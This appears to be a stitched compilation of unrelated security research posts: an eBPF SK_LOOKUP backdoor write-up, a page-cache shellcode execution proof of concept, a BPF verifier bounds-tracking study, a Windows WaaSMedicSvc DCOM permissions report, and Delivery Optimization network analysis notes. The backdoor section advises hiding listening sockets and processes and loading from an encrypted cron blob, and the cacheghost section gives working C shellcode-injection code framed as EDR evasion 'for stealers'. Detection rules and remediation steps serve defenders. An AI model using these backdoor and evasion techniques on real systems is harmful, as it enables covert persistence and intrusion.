• SK_LOOKUP: socket-level, invisible on the wire, cleanest API, but only for NEW connections to local sockets

where it works and where it doesn't

SK_LOOKUP fires for:

• TCP SYN packets creating new connections
• UDP packets to unconnected sockets

it does NOT fire for:

• established TCP connections (the routing is already done)
• connected UDP sockets
• forwarded traffic (packets not destined for this host)
• raw sockets
• packets generated by the kernel itself

this means you can intercept sshd connections but not steal an existing SSH session. you can intercept DNS queries but not siphon off an active QUIC stream.

the "new connections only" limitation is inherent. it's not a bug. the kernel doesn't need to look up a socket for established connections, it already knows which socket owns that 5-tuple. so your BPF program only fires on the first packet.

for a backdoor, this is usually fine. you're intercepting "who connects to the service" not "who's already connected." you put your backdoor socket in the map, it gets new connections, you proxy them or serve content directly or fork a shell.

detection

if you're defending against this, the honest answer is: you probably aren't looking for it.

tools like Falco, Tetragon, and Tracee can detect BPF program loads. Falco has a rule for "BPF program was loaded." but it fires on every legitimate BPF program too, Cilium, Falco itself, systemd, containers. there's a lot of noise.

bpftool prog shows all loaded BPF programs. bpftool net shows which are attached to netns for SK_LOOKUP. if you run:

$ bpftool net

you'll see something like:

xdp: (none)
tc: (none)
flow_dissector: (none)
sk_lookup:
    netns 4026531992  sk_redirect id 42

that "sk_lookup" line is the backdoor. but nobody runs bpftool net unless they're debugging something. it's not in any standard monitoring pipeline.

the SOCKHASH map is visible too:

$ bpftool map show

shows all maps, including their type and pinned path. a SOCKHASH map holding a socket fd isn't normal on most systems.

the backdoor socket itself is a regular listening socket. netstat or ss will show it:

$ ss -tlnp | grep 31337

shows your backdoor port. this is the biggest forensic signal in the whole technique, so it's worth thinking about how an attacker would handle it.

the laziest approach: bind to 127.0.0.1 on a high ephemeral port. on a busy server, a LISTEN socket on port 57321 with no associated process name (or a masked one) rarely triggers alarms unless someone is specifically auditing listening ports. thousands of servers have random Java/node processes listening on weird ports. one more blends in.

a better approach: bind to a non-loopback address that isn't the primary IP. if the server has multiple IPs (container hosts, VPN endpoints, anycast setups), bind the backdoor socket to one nobody monitors. ss still shows it but it's not on 0.0.0.0 and requires knowing the right IP to reach.

the paranoid approach: don't let the listening socket outlive the connection. the BPF program can trigger a userspace helper that creates a socket on demand, accepts exactly one connection, and then tears down. the window where ss sees the socket is bounded by the lifetime of a single accept. this is what attackers who care about forensic artifacts do. BPFDoor uses a similar pattern with classic BPF filters on raw sockets, the socket only exists while the implant is actively communicating.

there's also the PID/process hiding angle. ss shows the process name and PID for sockets owned by visible processes. if your backdoor process is hidden (via LD_PRELOAD on getdents, or an eBPF kprobe that intercepts /proc scans), ss output won't show the process column for that socket, just the socket and port. on a system where some processes already show with "-" for the process name (kernel threads, dying processes), this is subtle enough to miss.

there's a deeper problem though. SK_LOOKUP programs are attached to network namespaces, not to specific sockets or interfaces. most container security tools (Falco, Tracee) monitor with kprobes at the syscall level. they catch bpf() syscalls. they can see "a BPF program was loaded." but correlating that with "this program steals connections to port 9999" requires reading the bytecode or dumping the RELO sections, which none of them do by default.

if i were building a detection for this, i'd look for:

1. BPF_PROG_TYPE_SK_LOOKUP programs being loaded (unusual on any system that isn't running Cloudflare software)
2. SOCKHASH maps being created and populated with socket fds
3. the combination: SK_LOOKUP prog + SOCKHASH map = almost certainly malicious on any normal server

but right now, nothing ships those rules.

what an attacker actually needs

to use this, you need:

• root, or CAP_BPF + CAP_NET_ADMIN + CAP_NET_NS_ADMIN
• libbpf (to compile and load the program)
• a way to load the program on each boot (cron, systemd unit, etc.)

the capability requirement is the real gate. if you have root, you don't need this technique, you can do anything. but that's true of every eBPF backdoor. the question is: once you have root, how do you stay useful without being obvious?

this is where SK_LOOKUP shines. you load one BPF program, attach it to the netns, and your backdoor socket silently intercepts connections. no iptables rules, no SSH config changes, no modified binaries, no fileless malware that still shows up in /proc. everything is legitimate kernel API. the BPF program is 28 lines. the userspace loader is 130. you could hide it in a cron job that compiles and loads it from an encrypted blob.

Assessment

this technique is not a vulnerability. it's a feature of the Linux kernel being used as designed. the only reason it's interesting is that the offensive community has been looking at the wrong BPF hooks.

XDP and TC are for packet processing. SK_LOOKUP is for socket dispatch. if you want to steal TCP connections, you should be looking at the socket dispatch layer, not the packet processing layer. it sounds obvious in retrospect but nobody did it.

the PoC is simple because the kernel does all the hard work. 28 lines of BPF, 130 lines of C. that's it. that's the whole backdoor.

the code is at: https://github.com/klydz/sklook. run it with sudo on any Linux 5.6+ kernel.

i don't know if this will get patched or mitigated. it's not a bug so there's nothing to patch. maybe distributions will start auditing SK_LOOKUP attachments. maybe security tools will add detection rules. but the mechanism itself isn't going anywhere. it's a legitimate kernel feature with legitimate uses.

the question is just whether defenders start paying attention to it.

ed: fixed some things the verifier caught, wrote the rest between midnight and 3am while wondering why i don't use XDP like everyone else

MAP_SHARED file mappings don't go to disk immediately. Writes go to the page cache. The file gets updated later, when the kernel feels like writing back dirty pages.

If you write shellcode to a MAP_SHARED mapping and then another process mmaps the same file MAP_SHARED at the same offset, the kernel gives it the dirty page cache page, not the clean file from disk. If the second mapping is PROT_EXEC, the shellcode executes.

The file on disk is never touched by the injection. /proc/pid/maps shows a normal file-backed mapping.

The PoC

static const unsigned char shellcode[] = {
    0x6a, 0x2a,             /* push    42            */
    0x5f,                   /* pop     rdi           */
    0x48, 0x31, 0xc0,       /* xor     rax, rax      */
    0xb0, 0x3c,             /* mov     al, 60        */
    0x0f, 0x05              /* syscall               */
};

int fd = open(path, O_CREAT|O_RDWR|O_TRUNC, 0644);
write(fd, benign, 4096);
fsync(fd);

/* seeder: mmap + write shellcode to page cache */
void *map = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
memcpy(map, shellcode, sizeof(shellcode));

/* executor: fork + mmap + execute */
pid_t pid = fork();
if (pid == 0) {
    void *emap = mmap(NULL, 4096, PROT_READ|PROT_EXEC, MAP_SHARED, fd, 0);
    /* jump to the shellcode in the page cache */
    goto *emap;  // or asm volatile("call *%0" : : "r"(emap))
}

waitpid(pid, &status, 0);
// status should be 42

Output:

=== cacheghost ===

[1] seeder mmap MAP_SHARED + memcpy(shellcode)
[2] executor pid=102367 /proc/self/maps:
7ff325ade000-7ff325adf000 r-xs ... /home/user/.cacheghost
7ff325adf000-7ff325ae0000 rw-s ... /home/user/.cacheghost
[3] call shellcode...  
[4] exit code: 42

Exit code 42 confirms the child executed code from the page cache. The mapping is r-xs (read-execute-shared, file-backed). The other rw-s mapping is inherited from the parent.

What's Actually Happening

On the seeder's memcpy, the store hits the page cache page. The kernel marks it dirty and will eventually write it back, but not yet. The file on disk still has benign data.

On the executor's mmap, the kernel calls filemap_fault(), which looks up the page in the file's address_space xarray. The page is already there, dirty, with the shellcode. find_get_page() returns it. The fault handler installs a PTE pointing to that physical page. No disk read. The child calls into it and the shellcode runs.

The file on disk isn't involved at any point.

What This Is

This is a demonstration that MAP_SHARED writeback semantics can produce an executable mapping whose content doesn't match the backing file. It's a curiosity about how the page cache works.

It's not a new execution primitive. The seeder already has arbitrary code execution (it just wrote to memory). The technique doesn't give you execution in a process you don't control.

It's not a kernel vulnerability. MAP_SHARED is supposed to work this way. Dirty pages are supposed to propagate to new mappers. That's the entire point of shared mappings.

What it is: a narrow observation about forensic visibility. Instead of executing shellcode from an anonymous rwxp mapping (which every EDR looks for), you can execute it from a file-backed r-xs mapping. The mapping looks normal. Whether that matters depends on what your specific EDR checks.

The Detection Angle

This is the part I'm least sure about, so I'll lay out what I know and what I don't.

The technique produces a file-backed r-xs mapping where the inode is valid and the path is real. An EDR that only scans for rwxp anonymous mappings won't flag it. An EDR that checks whether the content of a mapped page matches the file's disk content would need to bypass the page cache to do so, most don't.

But:

• An EDR that hashed the file at install time and hashes again on demand would see a mismatch after writeback commits the shellcode to disk. The file changed. That's detectable.
• An EDR that monitors mmap syscalls for PROT_EXEC on non-standard files could flag this immediately.
• Volatility plugins like linux_pagecache can enumerate page cache pages. Comparing them against disk is possible, just uncommon.
• The r-xs mapping on a .cacheghost_demo file is itself suspicious. Rename it to libsomething.so and it blends in better.

I'm not claiming this bypasses all detection. I'm claiming it bypasses a specific class of detection, the kind that only looks for rwxp anonymous memory and assumes file-backed mappings are safe. That covers a lot of Linux EDR agents, but far from all.

The Writeback Problem

The dirty page cache page gets written to disk eventually. The default dirty_expire_centisecs is 3000 (30 seconds). After writeback:

• The file on disk now has the shellcode
• The sha256 doesn't match the original
• If an EDR checks the file hash, it sees a change

So the stealth window is at most 30 seconds without writeback prevention. If you write to the page periodically (a byte every second), the page stays young and writeback doesn't claim it. On tmpfs, there's no writeback at all.

But this is a limitation, not a feature. The technique is for short-lived operations where the shellcode runs once and exits. It's not for persistent stealth, maybe could be used for stealers? idk.

Comparison with Other Approaches

The closest comparison is memfd_create. Both leave the disk clean. The difference: memfd mappings are anonymous (tmpfs, no persistent path). cacheghost mappings point to a real file with a real inode. Depending on your threat model, that's either better (blends with other file mappings) or worse (the file path is visible).

Assessment

The technique is 80 lines of C that demonstrates a known kernel behavior being used in an unusual way. The interesting part is the observation that this behavior creates a blind spot in some detection tooling. The execution primitive itself isn't new.

I think that's fine.

The PoC is at https://github.com/klydz/cacheghost.

The plan was finding a new 0day maybe, and writing an article about it, sadly I didn't find a bugs but that won't stop me from making the article.

The cnum math is correct. The 2-iteration fixpoint converges. The linked register mechanism doesn't have an under-approximation path. 250,000 random intersection tests passed without a single false-empty result.

This article is about how I verified that, and why it matters even though there's no CVE at the end.

First, What's Wrong With the Old Way?

Before cnums, the verifier tracked register bounds as eight separate values:

s64 smin_value, smax_value;   // signed 64-bit
u64 umin_value, umax_value;   // unsigned 64-bit
s32 s32_min_value, s32_max_value; // signed 32-bit
u32 u32_min_value, u32_max_value; // unsigned 32-bit

Every ALU operation updated all eight. Every bounds check compared against multiple fields. And ranges that crossed the sign boundary, like [0x80000000, 0x7FFFFFFF], which is a perfectly normal signed range of [INT_MIN, INT_MAX], couldn't be represented as a single interval in either signed or unsigned space. The verifier had to track them as two disjoint pieces and tediously reconcile them.

This worked, mostly. But it was fragile. Every new operation needed to update all eight fields. Miss one, and you had an inconsistency that could either reject valid programs (annoying) or accept invalid ones (game over).

What a Circular Number Actually Is

A cnum is just two integers:

struct cnum32 {
    u32 base;
    u32 size;
};

But the interpretation is what matters: base is the first value of the range, and size counts values moving clockwise from base. The range wraps through zero naturally because that's what unsigned arithmetic does.

The register state in 7.0+ is:

struct bpf_reg_state {
    struct cnum64 r64;   // 16 bytes
    struct cnum32 r32;   // 8 bytes
    struct tnum var_off; // 16 bytes : still here for bit-level tracking
};

That's it. Two cnums replace eight separate fields. smin, smax, umin, umax are now functions of r64:

s64 reg_smin(struct bpf_reg_state *reg) { return cnum64_smin(reg->r64); }
u64 reg_umin(struct bpf_reg_state *reg) { return cnum64_umin(reg->r64); }

The signed and unsigned interpretations come from the same cnum. You can think of cnum64_smin as answering "what's the most negative signed value in this arc?" and cnum64_umin as "what's the smallest unsigned value?"

I spent way too long staring at these accessor functions before it clicked: a cnum is literally just an interval that can wrap. The "circular" part means it handles the wrap case without needing two separate intervals. The signed/unsigned duality falls out naturally because signed and unsigned are just different ways of slicing the same circle.

The cnum32_intersect Function That Almost Broke Me

Let me walk through cnum32_intersect(a, b) because this is where the real work happens.

The naive approach would be to convert both arcs to intervals, check for overlap, handle the wrap case, and return the intersection. But that's O(n) in the number of intervals, and the verifier calls this function constantly.

Instead, the implementation rotates the frame so a is at origin:

struct cnum32 b1 = { b.base - a.base, b.size };

Now a covers [0, a.size) and we just need to check where b1 falls on this rotated circle.

If b1 doesn't wrap (i.e., b1.base + b1.size ≤ U32_MAX), the overlap is a single contiguous range. The function clips a from the left by b1.base and from the right by the excess beyond b1.base + b1.size:

t.base += b1.base;
t.size -= b1.base;
b1_max = b1.base + b1.size;
if ((u32)a.size < b1.base)
    d = (u32)a.size + (1ULL << 32) - b1_max;
else if ((u32)a.size >= b1_max)
    d = (u32)a.size - b1_max;
t.size -= d;

If b1 wraps, meaning it crosses the 0 point on the rotated circle, the overlap might have two pieces. The function handles this by over-approximating. It returns whichever input arc is smaller:

if (b1.base <= a.size) {
    return a.size <= b1.size ? a : b;
}

This is the key design decision. When the true intersection has two disjoint components (which can't be represented as a single cnum), the function returns a superset. The verifier considers MORE possible values, making it HARDER to pass safety checks.

I confirmed this by tracing through dozens of cases by hand. The over-approximation is always conservative.

cnum64_cnum32_intersect: The Scariest Function in the Kernel

This one answers: given a 64-bit range a and a 32-bit range b, which 64-bit values in a have their low 32 bits in b?

The periodicity of (u32)x (repeats every 2³²) means the valid values form a repeating stripe pattern across 64-bit space. The function can't return a stripe — it returns one contiguous 64-bit range. So it over-approximates.

The really interesting case is when a spans multiple 2³² chunks. The function computes (u32)a.size (which wraps) and clips based on that. Any remaining full-2³² chunks are included unconditionally. This is massively over-approximate, but it's safe.

I spent an afternoon convincing myself this couldn't under-approximate. The key insight: (u32)a.size wraps, but that's fine because the clipping only removes values from the FIRST partial 2³² chunk. Any values in subsequent full chunks are always included.

Building the Fuzzer

I extracted the cnum operations from the kernel source into a standalone C file. The header file had macros that expanded to type-specific versions of each function, so I inlined everything manually for 32-bit. For 64-bit, I used the same template approach the kernel uses.

The brute-force reference enumerates ALL values in the intersection (for 32-bit cnums, that's at most 2³² values, feasible for small ranges, not feasible for large ones). For large ranges and for 64-bit, I used spot-checking: generate random values that SHOULD be in the intersection, verify they are.

The properties I tested:

1. No false EMPTY: If the intersection actually has values, cnum32_intersect must not return CNUM32_EMPTY. This is the under-approximation check.
2. Result ⊆ a and Result ⊆ b: Every value in the result must be valid in both inputs. This catches over-approximations that are too over- approximate (values that aren't in either input).
3. Spot-check inclusion: Random values from the true intersection appear in the result.

Property 1 is the critical one. An empty result for a non-empty intersection means the verifier thinks a register has NO possible values — which would trigger range_bounds_violation and reject the program. That's a false positive, not a security issue, but it's still a bug.

=== cnum32_intersect ===
Tests: 200000  Errors: 0 (empty-underapprox: 0)

=== cnum64_cnum32_intersect ===
Tests: 50000  Errors: 0 (empty-underapprox: 0)

250,000 tests. Zero under-approximation errors.

The reg_bounds_sync Fixpoint

After every bounds change, the verifier calls reg_bounds_sync:

1. Narrow r32/r64 from var_off
2. r32 ∩= (r64 projected to 32-bit)
3. r64 ∩= values with low-32 in r32
4. Repeat steps 2-3 (second iteration)
5. Refine var_off from bounds
6. Narrow r32/r64 from refined var_off

Why two iterations? Because step 2 narrows r32, which lets step 3 narrow r64 further, which lets step 2 (in the second iteration) narrow r32 again. In theory this converges monotonically. I verified by tracing through boundary cases:

• Known-narrow r32 + wide r64: First iteration narrows r32 to r64's projection. Second iteration: r64 already contains those values (since they were in r32 and r64's projection matches), so no change.
• Wide r32 + known-narrow r64: First iteration: r32 ∩= projection. Result: r32 narrows to match r64. Second iteration: stable.
• r32 wraps, r64 doesn't: If r32 covers [0xF0, 0x20] (wrapping) and r64 covers [0, 0x100], the projection of r64 to 32-bit is [0, 0xFF]. Intersection with r32 = [0, 0x20] ∪ [0xF0, 0xFF]. This has two components, so cnum32_intersect over-approximates. The result is one contiguous arc — wider than the true intersection but still within both original bounds.

I checked all of these by hand. The fixpoint converges in at most 2 iterations for all cases I could construct.

Linked Registers: The BPF_ADD_CONST Rabbit Hole

The cnum rework also formalized the linked register mechanism. When you write:

r1 = r0
r1 += 10

The verifier sets r1.id = r0.id | BPF_ADD_CONST and r1.delta = 10. If a conditional narrows r0, the narrowing propagates to r1 via sync_linked_regs.

I traced the propagation path in both the 7.0+ source and my 6.18.40 kernel's vmlinux. The function:

1. Copies the entire known register to the linked register
2. Preserves subreg_def (for precision backtracking)
3. Adds the delta difference to both r32 and r64
4. Updates var_off
5. Calls reg_bounds_sync

The 32-bit bounds update is done by scalar32_min_max_add before scalar_min_max_add updates the 64-bit bounds. Both are called before reg_bounds_sync reconciles them. The order matters because reg_bounds_sync expects consistent r32 and r64.

I disassembled sync_linked_regs from /usr/src/linux-cachyos-lts/vmlinux to verify the 6.18.40 implementation. The copy is done with a 14-quadword rep movsq (112 bytes — the full bpf_reg_state). The delta is computed by sign-extending both registers' delta fields to 64-bit and subtracting. Then the delta is added to all bounds with individual overflow checks.

I found the overflow handling interesting: the 32-bit bounds use jo/jno (signed overflow) while the unsigned 32-bit bounds use setb/jb (carry flag). This is correct for their respective semantics — signed overflow for signed bounds, carry for unsigned.

What I Didn't Find

• cnum32_intersect: 200k random tests, 0 under-approximation errors
• cnum64_cnum32_intersect: 50k tests, 0 under-approximation errors
• sync_linked_regs propagation: Both 32-bit and 64-bit bounds updated before reg_bounds_sync. Delta sign-extended correctly.
• reg_bounds_sync fixpoint: Converges in 2 iterations. Early exit on bounds violation prevents stale empty-cnum propagation.
• collect_linked_regs: Scans registers and stack slots. 5-entry limit with clear on overflow.
• precision backtracking with linked regs: Marks ALL linked regs precise when any one is needed.
• check_scalar_ids base ID consistency: Fixed in 6.18.33 for the BPF_ADD_CONST state pruning case.

The cnum math is the most thoroughly verified part of the verifier I've seen. Meta did good work here.

One More Thing

The running kernel on this machine is 6.18.40-1-cachyos-lts, released July 24, 2026. CVE-2026-53090 (ld_abs/ld_ind failure path in subprogs, CVSS 7.8) was being backported to 6.18 as of July 22. The 6.18.40 changelog shows 1,611 patches. I couldn't definitively confirm whether 53090 made the cut without source access.

If it didn't, that's a valid attack vector. But it's already public, so there's no scoop there. Just a reminder that unprivileged_bpf_disabled=2 doesn't help if you give CAP_BPF to anyone.

Acknowledgements to k45w4ra for helping with this research

1. Executive Summary

This report documents a security configuration issue in the Windows Update Medic Service (WaaSMedicSvc) where DCOM LaunchPermission grants execute rights to non-privileged users. The service runs as Protected Process Light (PPL) with LocalSystem privileges. Standard user accounts can instantiate COM objects within this protected context, representing a violation of the PPL security boundary.

2. Affected Component

3. Technical Background

3.1 Protected Process Light

PPL is a Windows security feature introduced in Windows 8.1 that restricts access to critical system processes. Processes with PPL protection cannot be opened by non-protected processes with specific access rights, preventing code injection, memory reading, and debugging. The protection level is enforced by the kernel and stored in the process object.

PPL is utilized by:

• Security-critical services (LSA with Credential Guard)
• Anti-malware solutions
• System integrity components

3.2 DCOM Security Model

Distributed COM (DCOM) extends COM to support inter-process communication across network boundaries. Security is controlled through:

• LaunchPermission: Determines who can instantiate the COM object
• AccessPermission: Determines who can communicate with running instances

Both permissions are stored as Security Descriptor Definition Language (SDDL) strings in the registry under HKLM:\SOFTWARE\Classes\AppID\{AppID}.

4. Methodology

4.1 Service Enumeration

Initial service configuration was obtained using the Service Control Manager command-line tool:

sc qc WaaSMedicSvc

SERVICE_NAME: WaaSMedicSvc
        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WINDOWS\system32\svchost.exe -k wusvcs -p
        SERVICE_START_NAME : LocalSystem

The -p parameter indicates PPL protection. Verification of the protection level:

reg query "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v LaunchProtected

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc
    LaunchProtected    REG_DWORD    0x2

Value 0x2 corresponds to PP_PROTECTED.

4.2 Security Descriptor Analysis

Service ACL:

sc sdshow WaaSMedicSvc
D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)

Decoded permissions:

Authenticated Users possess Start and Stop rights, which is atypical for a system repair service.

4.3 DCOM Permission Extraction

LaunchPermission SDDL:

O:BAG:BAD:(A;;CCDCLCSWRP;;;SY)(A;;CCDCLCSWRP;;;BA)(A;;CCDCLCSWRP;;;WD)(A;;CCDCLCSWRP;;;IU)

AccessPermission SDDL:

O:BAG:BAD:(A;;CCDCLC;;;WD)(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)

The LaunchPermission grants WD (Everyone) and IU (Interactive User) rights equivalent to Full Control in the DCOM context.

4.4 COM Object Identification

Registry enumeration identified the following mapping:

HKLM\SOFTWARE\Classes\CLSID\{72566e27-1abb-4eb3-b4f0-eb431cb1cb32}
    (Default)    = WaaSRemediation
    AppID        = {2ED83BAA-B2FD-43B1-99BF-E6149C622692}
    LocalService = WaaSMedicSvc

HKLM\SOFTWARE\Classes\AppID\{2ED83BAA-B2FD-43B1-99BF-E6149C622692}
    (Default)    = WaaSMedicSvc
    LocalService = WaaSMedicSvc

The COM class WaaSRemediation executes within the WaaSMedicSvc service context.

5. Proof of Concept

5.1 Test Environment

• Operating System: Windows 11 Pro (Build 26100)
• Test Account: Standard user (non-administrative)
• Execution Context: Interactive logon

5.2 Verification Procedure

A standard user account was created for testing:

New-LocalUser -Name 'testuser' -Password (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

The following C# program was compiled and executed under the testuser context:

using System;
using System.Security.Principal;

class WaaSMedicTest
{
    private static readonly Guid CLSID_WaaSRemediation = 
        new Guid("72566e27-1abb-4eb3-b4f0-eb431cb1cb32");

    static void Main()
    {
        WindowsIdentity identity = WindowsIdentity.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(identity);
        
        Console.WriteLine($"User: {identity.Name}");
        Console.WriteLine($"Administrator: {principal.IsInRole(WindowsBuiltInRole.Administrator)}");
        
        try
        {
            Type comType = Type.GetTypeFromCLSID(CLSID_WaaSRemediation);
            object comObject = Activator.CreateInstance(comType);
            
            Console.WriteLine("COM object instantiated successfully");
            
            dynamic obj = comObject;
            string result1 = obj.LaunchDetectionOnly("test");
            int result2 = obj.LaunchRemediationOnly("test", "test");
            
            Console.WriteLine($"LaunchDetectionOnly returned: '{result1}'");
            Console.WriteLine($"LaunchRemediationOnly returned: {result2}");
        }
        catch (Exception ex)
        {
            Console.WriteLine($"Exception: {ex.GetType().Name}: {ex.Message}");
        }
    }
}

5.3 Execution Results

C:\> runas /user:testuser WaaSMedicTest.exe
Enter the password for testuser:

User: DESKTOP-XXXXXX\testuser
Administrator: False
COM object instantiated successfully
LaunchDetectionOnly returned: ''
LaunchRemediationOnly returned: 0

The testuser account successfully instantiated the COM object and executed methods within the WaaSMedicSvc service context.

6. Impact Assessment

6.1 Security Boundary Violation

PPL is designed to prevent unprivileged access to protected processes. The DCOM configuration documented herein allows standard users to:

• Instantiate COM objects within PPL-protected processes
• Execute methods in LocalSystem context
• Communicate across the PPL security boundary without elevation

6.2 Prior Research

Public research by itm4n (March 2023) documented TypeLib hijacking techniques against this same COM object to achieve arbitrary memory writes. That technique requires administrative privileges to modify registry keys.

The configuration documented in this report enables access to the same attack surface without administrative privileges, representing a distinct attack vector.

6.3 Risk Factors

7. Additional Findings

7.1 TypeLib Analysis

String extraction from WaaSMedicPS.dll identified additional method names not exposed through the default IDispatch interface:

• InitiateUserInPlaceUpgrade
• CleanupUserInPlaceUpgrade
• IsInPlaceUpgradeInProgress
• EvaluateDeviceFeatures

These methods are defined in the TypeLib but are not accessible via the default interface exposed to callers.

7.2 Filesystem Permissions

Analysis of potential file-based attack vectors:

8. Remediation

8.1 Recommended Configuration Changes

LaunchPermission:

Remove WD (Everyone) and IU (Interactive User) entries. Restrict to:

O:BAG:BAD:(A;;CCDCLCSWRP;;;SY)(A;;CCDCLCSWRP;;;BA)

Service ACL:

Evaluate necessity of Authenticated Users start/stop rights. If not required for operation, remove AU from service ACL.

8.2 Verification

Post-remediation verification should confirm:

1. Standard users receive ACCESS_DENIED on COM instantiation attempts
2. Administrative users retain access for legitimate management
3. Service functionality remains intact for Windows Update repair scenarios

9. Disclosure Timeline

10. References

• itm4n. (2023). Bypassing PPL in Userland (again). itm4n's blog. https://itm4n.github.io/bypassing-ppl-in-userland-again/
• Microsoft. (n.d.). Protected Processes. Microsoft Learn. https://docs.microsoft.com/en-us/windows/win32/procthread/protected-processes
• Microsoft. (n.d.). DCOM Security. Microsoft Learn. https://docs.microsoft.com/en-us/windows/win32/com/dcom-security

Analysis was conducted using standard Windows utilities:

dosvc.dll
  Location : C:\Windows\System32\dosvc.dll
  Version  : 10.0.26100.7309
  Size     : 98,304 bytes
  Export   : ServiceMain

doclient.dll
  Location : C:\Windows\WinSxS\
              amd64_microsoft-windows-deliveryoptimization_
              31bf3856ad364e35_10.0.26100.7309_none_
              66260eb07704655c\doclient.dll
  Size     : 1,723,776 bytes  (1.7 MB)
  Export   : CreateDOService

!phfInfo.phfDigestAlgorithm.empty()
Verifying PHF content, hash of hashes: %s
CMetaInfo::CreateFromPhfInfo
phfInfo.IsValid()
File %s: Received PHF info, %s

Swarm %s, piece %u failed hash check
CMetaInfo::_CheckHashes
HashOfHashes
Piece %u hash check result: %x

CServerPeerConnListener::OnConn
CDnsPeerSearcher::FindPeers
Found peer: %s, ip4: %s, ip6: %s
Swarm: %s, peer info hash mismatch

Rejecting banned peer %s. Unban in %lld seconds.
Not connecting to banned cache host %s
PeerBanIntervalSecs
PeerBanLimit
CdnBanIntervalSecs
CdnBanLimit
DISC: Will retry failed (hr = %x) call after %lld ms

*.delivery.mp.microsoft.com
*.dcat.dsp.mp.microsoft.com
*.manage-beta.microsoft.com
*.manage.microsoft.com
*.adu.microsoft.com
*.cdn.office.net

Download/
├── {GUID-job-id-1}/        ← Per-job subdirectory
├── {GUID-job-id-2}/
├── SharedFileCache/
├── 7f43e78b2acab12a0a6a744366d50f8fa70ee45b    ← Chunk file
├── c076716c0e414eca19c013632fba202744725956    ← Chunk file
└── ...

Cache Root:
  NT SERVICE\TrustedInstaller:(I)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
  BUILTIN\Administrators:(I)(F)         ← Full Control
  BUILTIN\Users:(I)(RX)                 ← Read + Execute on root
  BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)  ← Inherited to children

Subdirectories (GUID job folders):
  NT SERVICE\TrustedInstaller:(I)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
  BUILTIN\Administrators:(I)(F)
  [BUILTIN\Users NOT inherited here]

File 1:
  Filename : 7f43e78b2acab12a0a6a744366d50f8fa70ee45b
  Size     : 72,086 bytes
  SHA-1    : 7f43e78b2acab12a0a6a744366d50f8fa70ee45b  ✓ MATCH
  Header   : ff fe 22 06 2e 06 31 06 20 00 2a 06 2d 06 2f 06  (UTF-16LE)

File 2:
  Filename : c076716c0e414eca19c013632fba202744725956
  Size     : 79,238 bytes
  SHA-1    : c076716c0e414eca19c013632fba202744725956  ✓ MATCH
  Header   : ff fe 4c 00 61 00 73 00 74 00 20 00 75 00 70 00  (UTF-16LE: "Last up...")

Checked locations:
  C:\Windows\SoftwareDistribution\Download\       → No PHF files
  C:\ProgramData\Microsoft\                       → No PHF files
  %LOCALAPPDATA%\Microsoft\Windows\
    DeliveryOptimization\                         → No PHF files
  %PROGRAMDATA%\Microsoft\Windows\
    DeliveryOptimization\                         → No PHF files

Search patterns used:
  *.phf, *pieces*, *hash*, *manifest*, *meta*
  Result: No matches.

FileId                   : cb0f2617fe501f84d34bab5af2f9b102b5131238
FileSize                 : 25,038,717 bytes
FileSizeInCache          : 22,941,565 bytes
Status                   : Caching
Priority                 : Background
BytesFromPeers           : 0
BytesFromHttp            : 22,941,565
BytesFromCacheServer     : 22,941,565      ← ALL bytes from CacheHost
HttpConnectionCount      : 1
CacheServerConnectionCount: 1
LanConnectionCount       : 0
CacheHost                : 14.102.231.203  ← Not a Microsoft IP
DownloadMode             : Lan
NumPeers                 : 0
PredefinedCallerApplication: WU Client Download

FilesDownloaded         : 2
TotalBytesDownloaded    : 37,097,425
AverageDownloadSize     : 18,548,712
CacheSizeBytes          : 37,097,425
CpuUsagePct             : 0.009459
MemUsageKB              : 6,032
NumberOfPeers           : 0
CacheHostConnections    : 2           ← 2 connections to third-party CDN
CdnConnections          : 2
DownlinkBps             : 15,383
UplinkBps               : 141,719

tracert 1d.tlu.dl.delivery.mp.microsoft.com

Tracing route to cl-glcb907925.gcdn.co [92.223.55.62]
over a maximum of 30 hops:

  1     3 ms     3 ms     3 ms  192.168.70.1
  2     *        *        *     Request timed out.
  3     *        *        *     Request timed out.
  4     *        *        *     Request timed out.
  5     *        *        *     Request timed out.
  6     *        *        *     Request timed out.
  7     *        *        *     Request timed out.
  8     *        *        *     Request timed out.
  9   207 ms   210 ms   210 ms  92.223.55.62

Trace complete.

curl -s "http://ip-api.com/json/92.223.55.62"

{
  "status":     "success",
  "country":    "France",
  "countryCode":"FR",
  "region":     "PAC",
  "regionName": "Provence-Alpes-Cote d'Azur",
  "city":       "Marseille",
  "zip":        "13015",
  "lat":        43.3736,
  "lon":        5.3547,
  "timezone":   "Europe/Paris",
  "isp":        "G-Core Labs S.A.",
  "org":        "GCL",
  "as":         "AS199524 G-Core Labs S.A.",
  "query":      "92.223.55.62"
}

whois 14.102.231.203

  ISP:      Edgevana, Inc.
  ASN:      AS215724
  Location: Singapore

1d.tlu.dl.delivery.mp.microsoft.com
  │
  └─→ dcat-b-tlu-net.trafficmanager.net    ← Azure Traffic Manager (Microsoft)
        │
        └─→ cl-glcb907925.gcdn.co           ← G-Core Labs CDN alias (NOT Microsoft)
              │
              ├─→ 92.223.55.62              ← G-Core Labs S.A., AS199524, France
              │
              └─→ 14.102.231.203            ← Edgevana, Inc., AS215724, Singapore

$req = [System.Net.WebRequest]::Create(
    'https://1d.tlu.dl.delivery.mp.microsoft.com'
)
$resp = $req.GetResponse()

Error: Exception calling "GetResponse" with "0" argument(s):
"The request was aborted: Could not create SSL/TLS secure channel."

$conn = New-Object System.Net.TcpClient
$conn.Connect('1d.tlu.dl.delivery.mp.microsoft.com', 443)
$sslStream = New-Object System.Net.Security.SslStream(...)
$sslStream.AuthenticateAsClient('1d.tlu.dl.delivery.mp.microsoft.com')

Error: Cannot find type [System.Net.TcpClient]:
